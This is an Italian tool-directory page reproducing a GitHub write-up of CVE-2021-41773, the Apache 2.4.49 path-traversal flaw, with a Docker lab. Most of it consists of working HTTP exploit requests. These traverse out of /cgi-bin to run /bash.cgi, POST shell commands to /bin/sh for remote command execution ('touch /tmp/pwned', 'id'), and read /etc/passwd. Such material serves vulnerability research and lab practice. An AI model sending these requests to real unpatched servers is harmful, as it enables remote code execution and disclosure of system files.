Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-41773 — Riproduzione di CVE-2021-41773 | Kitploit
Strumenti/GitHubGitHub/1nhann/cve-2021-41773
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHub1nhann/cve-2021-41773

CVE-2021-41773

Riproduzione di CVE-2021-41773

Vedi Repository
944 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduzione di CVE-2021-41773

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Vulnerabilità esclusiva di Apache v2.4.49. Nelle versioni precedenti non esisteva la funzione ap_normalize_path, introdotta proprio nella v2.4.49. È stata questa funzione a causare l'attraversamento di directory, corretto nella v2.4.50.

Ambiente

https://github.com/1nhann/CVE-2021-41773

In questo ambiente è stato caricato il modulo cgi:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so
root@kitploit:~
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

All'interno del container: image-20211006213843476

PoC

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


image-20211006210008166

Viene eseguito /bash.cgi dalla directory radice.

GetShell

Consulta la documentazione di Apache sui CGI:

STDIN and STDOUT

Other communication between the server and the client happens over standard input (STDIN) and standard output (STDOUT). In normal everyday context, STDIN means the keyboard, or a file that a program is given to act on, and STDOUT usually means the console or screen.

When you POST a web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program over STDIN. The program then can process that data as though it was coming in from the keyboard, or from a file

The "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:

root@kitploit:~
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

Ciò significa che i parametri inviati tramite POST vengono passati come contenuto di stdin al programma CGI richiesto.

Se si accede a /bin/sh, è possibile ottenere direttamente una shell.

PoC:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

È anche possibile visualizzare direttamente il risultato dell'esecuzione del comando:

PoC:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

Lettura arbitraria di file

Se il modulo cgi non viene caricato, il file richiesto non viene eseguito:

root@kitploit:~
#LoadModule cgi_module modules/mod_cgi.so

PoC:

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


image-20211006232521116

Scarica lo strumento